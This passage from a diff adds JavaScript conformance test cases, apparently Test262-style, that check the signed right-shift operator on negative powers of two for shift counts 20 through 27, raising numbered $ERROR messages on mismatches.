+ $ERROR('#654: -8192 >> 20 === -1. Actual: ' + (-8192 >> 20));
+}
+
+
+if (-16384 >> 20 !== -1) {
+ $ERROR('#655: -16384 >> 20 === -1. Actual: ' + (-16384 >> 20));
+}
+
+
+if (-32768 >> 20 !== -1) {
+ $ERROR('#656: -32768 >> 20 === -1. Actual: ' + (-32768 >> 20));
+}
+
+
+if (-65536 >> 20 !== -1) {
+ $ERROR('#657: -65536 >> 20 === -1. Actual: ' + (-65536 >> 20));
+}
+
+
+if (-131072 >> 20 !== -1) {
+ $ERROR('#658: -131072 >> 20 === -1. Actual: ' + (-131072 >> 20));
+}
+
+
+if (-262144 >> 20 !== -1) {
+ $ERROR('#659: -262144 >> 20 === -1. Actual: ' + (-262144 >> 20));
+}
+
+
+if (-524288 >> 20 !== -1) {
+ $ERROR('#660: -524288 >> 20 === -1. Actual: ' + (-524288 >> 20));
+}
+
+
+if (-1048576 >> 20 !== -1) {
+ $ERROR('#661: -1048576 >> 20 === -1. Actual: ' + (-1048576 >> 20));
+}
+
+
+if (-2097152 >> 20 !== -2) {
+ $ERROR('#662: -2097152 >> 20 === -2. Actual: ' + (-2097152 >> 20));
+}
+
+
+if (-4194304 >> 20 !== -4) {
+ $ERROR('#663: -4194304 >> 20 === -4. Actual: ' + (-4194304 >> 20));
+}
+
+
+if (-8388608 >> 20 !== -8) {
+ $ERROR('#664: -8388608 >> 20 === -8. Actual: ' + (-8388608 >> 20));
+}
+
+
+if (-16777216 >> 20 !== -16) {
+ $ERROR('#665: -16777216 >> 20 === -16. Actual: ' + (-16777216 >> 20));
+}
+
+
+if (-33554432 >> 20 !== -32) {
+ $ERROR('#666: -33554432 >> 20 === -32. Actual: ' + (-33554432 >> 20));
+}
+
+
+if (-67108864 >> 20 !== -64) {
+ $ERROR('#667: -67108864 >> 20 === -64. Actual: ' + (-67108864 >> 20));
+}
+
+
+if (-134217728 >> 20 !== -128) {
+ $ERROR('#668: -134217728 >> 20 === -128. Actual: ' + (-134217728 >> 20));
+}
+
+
+if (-268435456 >> 20 !== -256) {
+ $ERROR('#669: -268435456 >> 20 === -256. Actual: ' + (-268435456 >> 20));
+}
+
+
+if (-536870912 >> 20 !== -512) {
+ $ERROR('#670: -536870912 >> 20 === -512. Actual: ' + (-536870912 >> 20));
+}
+
+
+if (-1073741824 >> 20 !== -1024) {
+ $ERROR('#671: -1073741824 >> 20 === -1024. Actual: ' + (-1073741824 >> 20));
+}
+
+
+if (-2147483648 >> 20 !== -2048) {
+ $ERROR('#672: -2147483648 >> 20 === -2048. Actual: ' + (-2147483648 >> 20));
+}
+
+
+if (-1 >> 21 !== -1) {
+ $ERROR('#673: -1 >> 21 === -1. Actual: ' + (-1 >> 21));
+}
+
+
+if (-2 >> 21 !== -1) {
+ $ERROR('#674: -2 >> 21 === -1. Actual: ' + (-2 >> 21));
+}
+
+
+if (-4 >> 21 !== -1) {
+ $ERROR('#675: -4 >> 21 === -1. Actual: ' + (-4 >> 21));
+}
+
+
+if (-8 >> 21 !== -1) {
+ $ERROR('#676: -8 >> 21 === -1. Actual: ' + (-8 >> 21));
+}
+
+
+if (-16 >> 21 !== -1) {
+ $ERROR('#677: -16 >> 21 === -1. Actual: ' + (-16 >> 21));
+}
+
+
+if (-32 >> 21 !== -1) {
+ $ERROR('#678: -32 >> 21 === -1. Actual: ' + (-32 >> 21));
+}
+
+
+if (-64 >> 21 !== -1) {
+ $ERROR('#679: -64 >> 21 === -1. Actual: ' + (-64 >> 21));
+}
+
+
+if (-128 >> 21 !== -1) {
+ $ERROR('#680: -128 >> 21 === -1. Actual: ' + (-128 >> 21));
+}
+
+
+if (-256 >> 21 !== -1) {
+ $ERROR('#681: -256 >> 21 === -1. Actual: ' + (-256 >> 21));
+}
+
+
+if (-512 >> 21 !== -1) {
+ $ERROR('#682: -512 >> 21 === -1. Actual: ' + (-512 >> 21));
+}
+
+
+if (-1024 >> 21 !== -1) {
+ $ERROR('#683: -1024 >> 21 === -1. Actual: ' + (-1024 >> 21));
+}
+
+
+if (-2048 >> 21 !== -1) {
+ $ERROR('#684: -2048 >> 21 === -1. Actual: ' + (-2048 >> 21));
+}
+
+
+if (-4096 >> 21 !== -1) {
+ $ERROR('#685: -4096 >> 21 === -1. Actual: ' + (-4096 >> 21));
+}
+
+
+if (-8192 >> 21 !== -1) {
+ $ERROR('#686: -8192 >> 21 === -1. Actual: ' + (-8192 >> 21));
+}
+
+
+if (-16384 >> 21 !== -1) {
+ $ERROR('#687: -16384 >> 21 === -1. Actual: ' + (-16384 >> 21));
+}
+
+
+if (-32768 >> 21 !== -1) {
+ $ERROR('#688: -32768 >> 21 === -1. Actual: ' + (-32768 >> 21));
+}
+
+
+if (-65536 >> 21 !== -1) {
+ $ERROR('#689: -65536 >> 21 === -1. Actual: ' + (-65536 >> 21));
+}
+
+
+if (-131072 >> 21 !== -1) {
+ $ERROR('#690: -131072 >> 21 === -1. Actual: ' + (-131072 >> 21));
+}
+
+
+if (-262144 >> 21 !== -1) {
+ $ERROR('#691: -262144 >> 21 === -1. Actual: ' + (-262144 >> 21));
+}
+
+
+if (-524288 >> 21 !== -1) {
+ $ERROR('#692: -524288 >> 21 === -1. Actual: ' + (-524288 >> 21));
+}
+
+
+if (-1048576 >> 21 !== -1) {
+ $ERROR('#693: -1048576 >> 21 === -1. Actual: ' + (-1048576 >> 21));
+}
+
+
+if (-2097152 >> 21 !== -1) {
+ $ERROR('#694: -2097152 >> 21 === -1. Actual: ' + (-2097152 >> 21));
+}
+
+
+if (-4194304 >> 21 !== -2) {
+ $ERROR('#695: -4194304 >> 21 === -2. Actual: ' + (-4194304 >> 21));
+}
+
+
+if (-8388608 >> 21 !== -4) {
+ $ERROR('#696: -8388608 >> 21 === -4. Actual: ' + (-8388608 >> 21));
+}
+
+
+if (-16777216 >> 21 !== -8) {
+ $ERROR('#697: -16777216 >> 21 === -8. Actual: ' + (-16777216 >> 21));
+}
+
+
+if (-33554432 >> 21 !== -16) {
+ $ERROR('#698: -33554432 >> 21 === -16. Actual: ' + (-33554432 >> 21));
+}
+
+
+if (-67108864 >> 21 !== -32) {
+ $ERROR('#699: -67108864 >> 21 === -32. Actual: ' + (-67108864 >> 21));
+}
+
+
+if (-134217728 >> 21 !== -64) {
+ $ERROR('#700: -134217728 >> 21 === -64. Actual: ' + (-134217728 >> 21));
+}
+
+
+if (-268435456 >> 21 !== -128) {
+ $ERROR('#701: -268435456 >> 21 === -128. Actual: ' + (-268435456 >> 21));
+}
+
+
+if (-536870912 >> 21 !== -256) {
+ $ERROR('#702: -536870912 >> 21 === -256. Actual: ' + (-536870912 >> 21));
+}
+
+
+if (-1073741824 >> 21 !== -512) {
+ $ERROR('#703: -1073741824 >> 21 === -512. Actual: ' + (-1073741824 >> 21));
+}
+
+
+if (-2147483648 >> 21 !== -1024) {
+ $ERROR('#704: -2147483648 >> 21 === -1024. Actual: ' + (-2147483648 >> 21));
+}
+
+
+if (-1 >> 22 !== -1) {
+ $ERROR('#705: -1 >> 22 === -1. Actual: ' + (-1 >> 22));
+}
+
+
+if (-2 >> 22 !== -1) {
+ $ERROR('#706: -2 >> 22 === -1. Actual: ' + (-2 >> 22));
+}
+
+
+if (-4 >> 22 !== -1) {
+ $ERROR('#707: -4 >> 22 === -1. Actual: ' + (-4 >> 22));
+}
+
+
+if (-8 >> 22 !== -1) {
+ $ERROR('#708: -8 >> 22 === -1. Actual: ' + (-8 >> 22));
+}
+
+
+if (-16 >> 22 !== -1) {
+ $ERROR('#709: -16 >> 22 === -1. Actual: ' + (-16 >> 22));
+}
+
+
+if (-32 >> 22 !== -1) {
+ $ERROR('#710: -32 >> 22 === -1. Actual: ' + (-32 >> 22));
+}
+
+
+if (-64 >> 22 !== -1) {
+ $ERROR('#711: -64 >> 22 === -1. Actual: ' + (-64 >> 22));
+}
+
+
+if (-128 >> 22 !== -1) {
+ $ERROR('#712: -128 >> 22 === -1. Actual: ' + (-128 >> 22));
+}
+
+
+if (-256 >> 22 !== -1) {
+ $ERROR('#713: -256 >> 22 === -1. Actual: ' + (-256 >> 22));
+}
+
+
+if (-512 >> 22 !== -1) {
+ $ERROR('#714: -512 >> 22 === -1. Actual: ' + (-512 >> 22));
+}
+
+
+if (-1024 >> 22 !== -1) {
+ $ERROR('#715: -1024 >> 22 === -1. Actual: ' + (-1024 >> 22));
+}
+
+
+if (-2048 >> 22 !== -1) {
+ $ERROR('#716: -2048 >> 22 === -1. Actual: ' + (-2048 >> 22));
+}
+
+
+if (-4096 >> 22 !== -1) {
+ $ERROR('#717: -4096 >> 22 === -1. Actual: ' + (-4096 >> 22));
+}
+
+
+if (-8192 >> 22 !== -1) {
+ $ERROR('#718: -8192 >> 22 === -1. Actual: ' + (-8192 >> 22));
+}
+
+
+if (-16384 >> 22 !== -1) {
+ $ERROR('#719: -16384 >> 22 === -1. Actual: ' + (-16384 >> 22));
+}
+
+
+if (-32768 >> 22 !== -1) {
+ $ERROR('#720: -32768 >> 22 === -1. Actual: ' + (-32768 >> 22));
+}
+
+
+if (-65536 >> 22 !== -1) {
+ $ERROR('#721: -65536 >> 22 === -1. Actual: ' + (-65536 >> 22));
+}
+
+
+if (-131072 >> 22 !== -1) {
+ $ERROR('#722: -131072 >> 22 === -1. Actual: ' + (-131072 >> 22));
+}
+
+
+if (-262144 >> 22 !== -1) {
+ $ERROR('#723: -262144 >> 22 === -1. Actual: ' + (-262144 >> 22));
+}
+
+
+if (-524288 >> 22 !== -1) {
+ $ERROR('#724: -524288 >> 22 === -1. Actual: ' + (-524288 >> 22));
+}
+
+
+if (-1048576 >> 22 !== -1) {
+ $ERROR('#725: -1048576 >> 22 === -1. Actual: ' + (-1048576 >> 22));
+}
+
+
+if (-2097152 >> 22 !== -1) {
+ $ERROR('#726: -2097152 >> 22 === -1. Actual: ' + (-2097152 >> 22));
+}
+
+
+if (-4194304 >> 22 !== -1) {
+ $ERROR('#727: -4194304 >> 22 === -1. Actual: ' + (-4194304 >> 22));
+}
+
+
+if (-8388608 >> 22 !== -2) {
+ $ERROR('#728: -8388608 >> 22 === -2. Actual: ' + (-8388608 >> 22));
+}
+
+
+if (-16777216 >> 22 !== -4) {
+ $ERROR('#729: -16777216 >> 22 === -4. Actual: ' + (-16777216 >> 22));
+}
+
+
+if (-33554432 >> 22 !== -8) {
+ $ERROR('#730: -33554432 >> 22 === -8. Actual: ' + (-33554432 >> 22));
+}
+
+
+if (-67108864 >> 22 !== -16) {
+ $ERROR('#731: -67108864 >> 22 === -16. Actual: ' + (-67108864 >> 22));
+}
+
+
+if (-134217728 >> 22 !== -32) {
+ $ERROR('#732: -134217728 >> 22 === -32. Actual: ' + (-134217728 >> 22));
+}
+
+
+if (-268435456 >> 22 !== -64) {
+ $ERROR('#733: -268435456 >> 22 === -64. Actual: ' + (-268435456 >> 22));
+}
+
+
+if (-536870912 >> 22 !== -128) {
+ $ERROR('#734: -536870912 >> 22 === -128. Actual: ' + (-536870912 >> 22));
+}
+
+
+if (-1073741824 >> 22 !== -256) {
+ $ERROR('#735: -1073741824 >> 22 === -256. Actual: ' + (-1073741824 >> 22));
+}
+
+
+if (-2147483648 >> 22 !== -512) {
+ $ERROR('#736: -2147483648 >> 22 === -512. Actual: ' + (-2147483648 >> 22));
+}
+
+
+if (-1 >> 23 !== -1) {
+ $ERROR('#737: -1 >> 23 === -1. Actual: ' + (-1 >> 23));
+}
+
+
+if (-2 >> 23 !== -1) {
+ $ERROR('#738: -2 >> 23 === -1. Actual: ' + (-2 >> 23));
+}
+
+
+if (-4 >> 23 !== -1) {
+ $ERROR('#739: -4 >> 23 === -1. Actual: ' + (-4 >> 23));
+}
+
+
+if (-8 >> 23 !== -1) {
+ $ERROR('#740: -8 >> 23 === -1. Actual: ' + (-8 >> 23));
+}
+
+
+if (-16 >> 23 !== -1) {
+ $ERROR('#741: -16 >> 23 === -1. Actual: ' + (-16 >> 23));
+}
+
+
+if (-32 >> 23 !== -1) {
+ $ERROR('#742: -32 >> 23 === -1. Actual: ' + (-32 >> 23));
+}
+
+
+if (-64 >> 23 !== -1) {
+ $ERROR('#743: -64 >> 23 === -1. Actual: ' + (-64 >> 23));
+}
+
+
+if (-128 >> 23 !== -1) {
+ $ERROR('#744: -128 >> 23 === -1. Actual: ' + (-128 >> 23));
+}
+
+
+if (-256 >> 23 !== -1) {
+ $ERROR('#745: -256 >> 23 === -1. Actual: ' + (-256 >> 23));
+}
+
+
+if (-512 >> 23 !== -1) {
+ $ERROR('#746: -512 >> 23 === -1. Actual: ' + (-512 >> 23));
+}
+
+
+if (-1024 >> 23 !== -1) {
+ $ERROR('#747: -1024 >> 23 === -1. Actual: ' + (-1024 >> 23));
+}
+
+
+if (-2048 >> 23 !== -1) {
+ $ERROR('#748: -2048 >> 23 === -1. Actual: ' + (-2048 >> 23));
+}
+
+
+if (-4096 >> 23 !== -1) {
+ $ERROR('#749: -4096 >> 23 === -1. Actual: ' + (-4096 >> 23));
+}
+
+
+if (-8192 >> 23 !== -1) {
+ $ERROR('#750: -8192 >> 23 === -1. Actual: ' + (-8192 >> 23));
+}
+
+
+if (-16384 >> 23 !== -1) {
+ $ERROR('#751: -16384 >> 23 === -1. Actual: ' + (-16384 >> 23));
+}
+
+
+if (-32768 >> 23 !== -1) {
+ $ERROR('#752: -32768 >> 23 === -1. Actual: ' + (-32768 >> 23));
+}
+
+
+if (-65536 >> 23 !== -1) {
+ $ERROR('#753: -65536 >> 23 === -1. Actual: ' + (-65536 >> 23));
+}
+
+
+if (-131072 >> 23 !== -1) {
+ $ERROR('#754: -131072 >> 23 === -1. Actual: ' + (-131072 >> 23));
+}
+
+
+if (-262144 >> 23 !== -1) {
+ $ERROR('#755: -262144 >> 23 === -1. Actual: ' + (-262144 >> 23));
+}
+
+
+if (-524288 >> 23 !== -1) {
+ $ERROR('#756: -524288 >> 23 === -1. Actual: ' + (-524288 >> 23));
+}
+
+
+if (-1048576 >> 23 !== -1) {
+ $ERROR('#757: -1048576 >> 23 === -1. Actual: ' + (-1048576 >> 23));
+}
+
+
+if (-2097152 >> 23 !== -1) {
+ $ERROR('#758: -2097152 >> 23 === -1. Actual: ' + (-2097152 >> 23));
+}
+
+
+if (-4194304 >> 23 !== -1) {
+ $ERROR('#759: -4194304 >> 23 === -1. Actual: ' + (-4194304 >> 23));
+}
+
+
+if (-8388608 >> 23 !== -1) {
+ $ERROR('#760: -8388608 >> 23 === -1. Actual: ' + (-8388608 >> 23));
+}
+
+
+if (-16777216 >> 23 !== -2) {
+ $ERROR('#761: -16777216 >> 23 === -2. Actual: ' + (-16777216 >> 23));
+}
+
+
+if (-33554432 >> 23 !== -4) {
+ $ERROR('#762: -33554432 >> 23 === -4. Actual: ' + (-33554432 >> 23));
+}
+
+
+if (-67108864 >> 23 !== -8) {
+ $ERROR('#763: -67108864 >> 23 === -8. Actual: ' + (-67108864 >> 23));
+}
+
+
+if (-134217728 >> 23 !== -16) {
+ $ERROR('#764: -134217728 >> 23 === -16. Actual: ' + (-134217728 >> 23));
+}
+
+
+if (-268435456 >> 23 !== -32) {
+ $ERROR('#765: -268435456 >> 23 === -32. Actual: ' + (-268435456 >> 23));
+}
+
+
+if (-536870912 >> 23 !== -64) {
+ $ERROR('#766: -536870912 >> 23 === -64. Actual: ' + (-536870912 >> 23));
+}
+
+
+if (-1073741824 >> 23 !== -128) {
+ $ERROR('#767: -1073741824 >> 23 === -128. Actual: ' + (-1073741824 >> 23));
+}
+
+
+if (-2147483648 >> 23 !== -256) {
+ $ERROR('#768: -2147483648 >> 23 === -256. Actual: ' + (-2147483648 >> 23));
+}
+
+
+if (-1 >> 24 !== -1) {
+ $ERROR('#769: -1 >> 24 === -1. Actual: ' + (-1 >> 24));
+}
+
+
+if (-2 >> 24 !== -1) {
+ $ERROR('#770: -2 >> 24 === -1. Actual: ' + (-2 >> 24));
+}
+
+
+if (-4 >> 24 !== -1) {
+ $ERROR('#771: -4 >> 24 === -1. Actual: ' + (-4 >> 24));
+}
+
+
+if (-8 >> 24 !== -1) {
+ $ERROR('#772: -8 >> 24 === -1. Actual: ' + (-8 >> 24));
+}
+
+
+if (-16 >> 24 !== -1) {
+ $ERROR('#773: -16 >> 24 === -1. Actual: ' + (-16 >> 24));
+}
+
+
+if (-32 >> 24 !== -1) {
+ $ERROR('#774: -32 >> 24 === -1. Actual: ' + (-32 >> 24));
+}
+
+
+if (-64 >> 24 !== -1) {
+ $ERROR('#775: -64 >> 24 === -1. Actual: ' + (-64 >> 24));
+}
+
+
+if (-128 >> 24 !== -1) {
+ $ERROR('#776: -128 >> 24 === -1. Actual: ' + (-128 >> 24));
+}
+
+
+if (-256 >> 24 !== -1) {
+ $ERROR('#777: -256 >> 24 === -1. Actual: ' + (-256 >> 24));
+}
+
+
+if (-512 >> 24 !== -1) {
+ $ERROR('#778: -512 >> 24 === -1. Actual: ' + (-512 >> 24));
+}
+
+
+if (-1024 >> 24 !== -1) {
+ $ERROR('#779: -1024 >> 24 === -1. Actual: ' + (-1024 >> 24));
+}
+
+
+if (-2048 >> 24 !== -1) {
+ $ERROR('#780: -2048 >> 24 === -1. Actual: ' + (-2048 >> 24));
+}
+
+
+if (-4096 >> 24 !== -1) {
+ $ERROR('#781: -4096 >> 24 === -1. Actual: ' + (-4096 >> 24));
+}
+
+
+if (-8192 >> 24 !== -1) {
+ $ERROR('#782: -8192 >> 24 === -1. Actual: ' + (-8192 >> 24));
+}
+
+
+if (-16384 >> 24 !== -1) {
+ $ERROR('#783: -16384 >> 24 === -1. Actual: ' + (-16384 >> 24));
+}
+
+
+if (-32768 >> 24 !== -1) {
+ $ERROR('#784: -32768 >> 24 === -1. Actual: ' + (-32768 >> 24));
+}
+
+
+if (-65536 >> 24 !== -1) {
+ $ERROR('#785: -65536 >> 24 === -1. Actual: ' + (-65536 >> 24));
+}
+
+
+if (-131072 >> 24 !== -1) {
+ $ERROR('#786: -131072 >> 24 === -1. Actual: ' + (-131072 >> 24));
+}
+
+
+if (-262144 >> 24 !== -1) {
+ $ERROR('#787: -262144 >> 24 === -1. Actual: ' + (-262144 >> 24));
+}
+
+
+if (-524288 >> 24 !== -1) {
+ $ERROR('#788: -524288 >> 24 === -1. Actual: ' + (-524288 >> 24));
+}
+
+
+if (-1048576 >> 24 !== -1) {
+ $ERROR('#789: -1048576 >> 24 === -1. Actual: ' + (-1048576 >> 24));
+}
+
+
+if (-2097152 >> 24 !== -1) {
+ $ERROR('#790: -2097152 >> 24 === -1. Actual: ' + (-2097152 >> 24));
+}
+
+
+if (-4194304 >> 24 !== -1) {
+ $ERROR('#791: -4194304 >> 24 === -1. Actual: ' + (-4194304 >> 24));
+}
+
+
+if (-8388608 >> 24 !== -1) {
+ $ERROR('#792: -8388608 >> 24 === -1. Actual: ' + (-8388608 >> 24));
+}
+
+
+if (-16777216 >> 24 !== -1) {
+ $ERROR('#793: -16777216 >> 24 === -1. Actual: ' + (-16777216 >> 24));
+}
+
+
+if (-33554432 >> 24 !== -2) {
+ $ERROR('#794: -33554432 >> 24 === -2. Actual: ' + (-33554432 >> 24));
+}
+
+
+if (-67108864 >> 24 !== -4) {
+ $ERROR('#795: -67108864 >> 24 === -4. Actual: ' + (-67108864 >> 24));
+}
+
+
+if (-134217728 >> 24 !== -8) {
+ $ERROR('#796: -134217728 >> 24 === -8. Actual: ' + (-134217728 >> 24));
+}
+
+
+if (-268435456 >> 24 !== -16) {
+ $ERROR('#797: -268435456 >> 24 === -16. Actual: ' + (-268435456 >> 24));
+}
+
+
+if (-536870912 >> 24 !== -32) {
+ $ERROR('#798: -536870912 >> 24 === -32. Actual: ' + (-536870912 >> 24));
+}
+
+
+if (-1073741824 >> 24 !== -64) {
+ $ERROR('#799: -1073741824 >> 24 === -64. Actual: ' + (-1073741824 >> 24));
+}
+
+
+if (-2147483648 >> 24 !== -128) {
+ $ERROR('#800: -2147483648 >> 24 === -128. Actual: ' + (-2147483648 >> 24));
+}
+
+
+if (-1 >> 25 !== -1) {
+ $ERROR('#801: -1 >> 25 === -1. Actual: ' + (-1 >> 25));
+}
+
+
+if (-2 >> 25 !== -1) {
+ $ERROR('#802: -2 >> 25 === -1. Actual: ' + (-2 >> 25));
+}
+
+
+if (-4 >> 25 !== -1) {
+ $ERROR('#803: -4 >> 25 === -1. Actual: ' + (-4 >> 25));
+}
+
+
+if (-8 >> 25 !== -1) {
+ $ERROR('#804: -8 >> 25 === -1. Actual: ' + (-8 >> 25));
+}
+
+
+if (-16 >> 25 !== -1) {
+ $ERROR('#805: -16 >> 25 === -1. Actual: ' + (-16 >> 25));
+}
+
+
+if (-32 >> 25 !== -1) {
+ $ERROR('#806: -32 >> 25 === -1. Actual: ' + (-32 >> 25));
+}
+
+
+if (-64 >> 25 !== -1) {
+ $ERROR('#807: -64 >> 25 === -1. Actual: ' + (-64 >> 25));
+}
+
+
+if (-128 >> 25 !== -1) {
+ $ERROR('#808: -128 >> 25 === -1. Actual: ' + (-128 >> 25));
+}
+
+
+if (-256 >> 25 !== -1) {
+ $ERROR('#809: -256 >> 25 === -1. Actual: ' + (-256 >> 25));
+}
+
+
+if (-512 >> 25 !== -1) {
+ $ERROR('#810: -512 >> 25 === -1. Actual: ' + (-512 >> 25));
+}
+
+
+if (-1024 >> 25 !== -1) {
+ $ERROR('#811: -1024 >> 25 === -1. Actual: ' + (-1024 >> 25));
+}
+
+
+if (-2048 >> 25 !== -1) {
+ $ERROR('#812: -2048 >> 25 === -1. Actual: ' + (-2048 >> 25));
+}
+
+
+if (-4096 >> 25 !== -1) {
+ $ERROR('#813: -4096 >> 25 === -1. Actual: ' + (-4096 >> 25));
+}
+
+
+if (-8192 >> 25 !== -1) {
+ $ERROR('#814: -8192 >> 25 === -1. Actual: ' + (-8192 >> 25));
+}
+
+
+if (-16384 >> 25 !== -1) {
+ $ERROR('#815: -16384 >> 25 === -1. Actual: ' + (-16384 >> 25));
+}
+
+
+if (-32768 >> 25 !== -1) {
+ $ERROR('#816: -32768 >> 25 === -1. Actual: ' + (-32768 >> 25));
+}
+
+
+if (-65536 >> 25 !== -1) {
+ $ERROR('#817: -65536 >> 25 === -1. Actual: ' + (-65536 >> 25));
+}
+
+
+if (-131072 >> 25 !== -1) {
+ $ERROR('#818: -131072 >> 25 === -1. Actual: ' + (-131072 >> 25));
+}
+
+
+if (-262144 >> 25 !== -1) {
+ $ERROR('#819: -262144 >> 25 === -1. Actual: ' + (-262144 >> 25));
+}
+
+
+if (-524288 >> 25 !== -1) {
+ $ERROR('#820: -524288 >> 25 === -1. Actual: ' + (-524288 >> 25));
+}
+
+
+if (-1048576 >> 25 !== -1) {
+ $ERROR('#821: -1048576 >> 25 === -1. Actual: ' + (-1048576 >> 25));
+}
+
+
+if (-2097152 >> 25 !== -1) {
+ $ERROR('#822: -2097152 >> 25 === -1. Actual: ' + (-2097152 >> 25));
+}
+
+
+if (-4194304 >> 25 !== -1) {
+ $ERROR('#823: -4194304 >> 25 === -1. Actual: ' + (-4194304 >> 25));
+}
+
+
+if (-8388608 >> 25 !== -1) {
+ $ERROR('#824: -8388608 >> 25 === -1. Actual: ' + (-8388608 >> 25));
+}
+
+
+if (-16777216 >> 25 !== -1) {
+ $ERROR('#825: -16777216 >> 25 === -1. Actual: ' + (-16777216 >> 25));
+}
+
+
+if (-33554432 >> 25 !== -1) {
+ $ERROR('#826: -33554432 >> 25 === -1. Actual: ' + (-33554432 >> 25));
+}
+
+
+if (-67108864 >> 25 !== -2) {
+ $ERROR('#827: -67108864 >> 25 === -2. Actual: ' + (-67108864 >> 25));
+}
+
+
+if (-134217728 >> 25 !== -4) {
+ $ERROR('#828: -134217728 >> 25 === -4. Actual: ' + (-134217728 >> 25));
+}
+
+
+if (-268435456 >> 25 !== -8) {
+ $ERROR('#829: -268435456 >> 25 === -8. Actual: ' + (-268435456 >> 25));
+}
+
+
+if (-536870912 >> 25 !== -16) {
+ $ERROR('#830: -536870912 >> 25 === -16. Actual: ' + (-536870912 >> 25));
+}
+
+
+if (-1073741824 >> 25 !== -32) {
+ $ERROR('#831: -1073741824 >> 25 === -32. Actual: ' + (-1073741824 >> 25));
+}
+
+
+if (-2147483648 >> 25 !== -64) {
+ $ERROR('#832: -2147483648 >> 25 === -64. Actual: ' + (-2147483648 >> 25));
+}
+
+
+if (-1 >> 26 !== -1) {
+ $ERROR('#833: -1 >> 26 === -1. Actual: ' + (-1 >> 26));
+}
+
+
+if (-2 >> 26 !== -1) {
+ $ERROR('#834: -2 >> 26 === -1. Actual: ' + (-2 >> 26));
+}
+
+
+if (-4 >> 26 !== -1) {
+ $ERROR('#835: -4 >> 26 === -1. Actual: ' + (-4 >> 26));
+}
+
+
+if (-8 >> 26 !== -1) {
+ $ERROR('#836: -8 >> 26 === -1. Actual: ' + (-8 >> 26));
+}
+
+
+if (-16 >> 26 !== -1) {
+ $ERROR('#837: -16 >> 26 === -1. Actual: ' + (-16 >> 26));
+}
+
+
+if (-32 >> 26 !== -1) {
+ $ERROR('#838: -32 >> 26 === -1. Actual: ' + (-32 >> 26));
+}
+
+
+if (-64 >> 26 !== -1) {
+ $ERROR('#839: -64 >> 26 === -1. Actual: ' + (-64 >> 26));
+}
+
+
+if (-128 >> 26 !== -1) {
+ $ERROR('#840: -128 >> 26 === -1. Actual: ' + (-128 >> 26));
+}
+
+
+if (-256 >> 26 !== -1) {
+ $ERROR('#841: -256 >> 26 === -1. Actual: ' + (-256 >> 26));
+}
+
+
+if (-512 >> 26 !== -1) {
+ $ERROR('#842: -512 >> 26 === -1. Actual: ' + (-512 >> 26));
+}
+
+
+if (-1024 >> 26 !== -1) {
+ $ERROR('#843: -1024 >> 26 === -1. Actual: ' + (-1024 >> 26));
+}
+
+
+if (-2048 >> 26 !== -1) {
+ $ERROR('#844: -2048 >> 26 === -1. Actual: ' + (-2048 >> 26));
+}
+
+
+if (-4096 >> 26 !== -1) {
+ $ERROR('#845: -4096 >> 26 === -1. Actual: ' + (-4096 >> 26));
+}
+
+
+if (-8192 >> 26 !== -1) {
+ $ERROR('#846: -8192 >> 26 === -1. Actual: ' + (-8192 >> 26));
+}
+
+
+if (-16384 >> 26 !== -1) {
+ $ERROR('#847: -16384 >> 26 === -1. Actual: ' + (-16384 >> 26));
+}
+
+
+if (-32768 >> 26 !== -1) {
+ $ERROR('#848: -32768 >> 26 === -1. Actual: ' + (-32768 >> 26));
+}
+
+
+if (-65536 >> 26 !== -1) {
+ $ERROR('#849: -65536 >> 26 === -1. Actual: ' + (-65536 >> 26));
+}
+
+
+if (-131072 >> 26 !== -1) {
+ $ERROR('#850: -131072 >> 26 === -1. Actual: ' + (-131072 >> 26));
+}
+
+
+if (-262144 >> 26 !== -1) {
+ $ERROR('#851: -262144 >> 26 === -1. Actual: ' + (-262144 >> 26));
+}
+
+
+if (-524288 >> 26 !== -1) {
+ $ERROR('#852: -524288 >> 26 === -1. Actual: ' + (-524288 >> 26));
+}
+
+
+if (-1048576 >> 26 !== -1) {
+ $ERROR('#853: -1048576 >> 26 === -1. Actual: ' + (-1048576 >> 26));
+}
+
+
+if (-2097152 >> 26 !== -1) {
+ $ERROR('#854: -2097152 >> 26 === -1. Actual: ' + (-2097152 >> 26));
+}
+
+
+if (-4194304 >> 26 !== -1) {
+ $ERROR('#855: -4194304 >> 26 === -1. Actual: ' + (-4194304 >> 26));
+}
+
+
+if (-8388608 >> 26 !== -1) {
+ $ERROR('#856: -8388608 >> 26 === -1. Actual: ' + (-8388608 >> 26));
+}
+
+
+if (-16777216 >> 26 !== -1) {
+ $ERROR('#857: -16777216 >> 26 === -1. Actual: ' + (-16777216 >> 26));
+}
+
+
+if (-33554432 >> 26 !== -1) {
+ $ERROR('#858: -33554432 >> 26 === -1. Actual: ' + (-33554432 >> 26));
+}
+
+
+if (-67108864 >> 26 !== -1) {
+ $ERROR('#859: -67108864 >> 26 === -1. Actual: ' + (-67108864 >> 26));
+}
+
+
+if (-134217728 >> 26 !== -2) {
+ $ERROR('#860: -134217728 >> 26 === -2. Actual: ' + (-134217728 >> 26));
+}
+
+
+if (-268435456 >> 26 !== -4) {
+ $ERROR('#861: -268435456 >> 26 === -4. Actual: ' + (-268435456 >> 26));
+}
+
+
+if (-536870912 >> 26 !== -8) {
+ $ERROR('#862: -536870912 >> 26 === -8. Actual: ' + (-536870912 >> 26));
+}
+
+
+if (-1073741824 >> 26 !== -16) {
+ $ERROR('#863: -1073741824 >> 26 === -16. Actual: ' + (-1073741824 >> 26));
+}
+
+
+if (-2147483648 >> 26 !== -32) {
+ $ERROR('#864: -2147483648 >> 26 === -32. Actual: ' + (-2147483648 >> 26));
+}
+
+
+if (-1 >> 27 !== -1) {
+ $ERROR('#865: -1 >> 27 === -1. Actual: ' + (-1 >> 27));
+}
+
+
+if (-2 >> 27 !== -1) {
+ $ERROR('#866: -2 >> 27 === -1. Actual: ' + (-2 >> 27));
+}
+
+
+if (-4 >> 27 !== -1) {
+ $ERROR('#867: -4 >> 27 === -1. Actual: ' + (-4 >> 27));
+}
+
+
+if (-8 >> 27 !== -1) {
+ $ERROR('#868: -8 >> 27 === -1. Actual: ' + (-8 >> 27));
+}
+
+
+if (-16 >> 27 !== -1) {
+ $ERROR('#869: -16 >> 27 === -1. Actual: ' + (-16 >> 27));
+}
+
+
+if (-32 >> 27 !== -1) {
+ $ERROR('#870: -32 >> 27 === -1. Actual: ' + (-32 >> 27));
+}
+
+
+if (-64 >> 27 !== -1) {
+ $ERROR('#871: -64 >> 27 === -1. Actual: ' + (-64 >> 27));
+}
+
+
+if (-128 >> 27 !== -1) {
+ $ERROR('#872: -128 >> 27 === -1. Actual: ' + (-128 >> 27));
+}
+
+
+if (-256 >> 27 !== -1) {
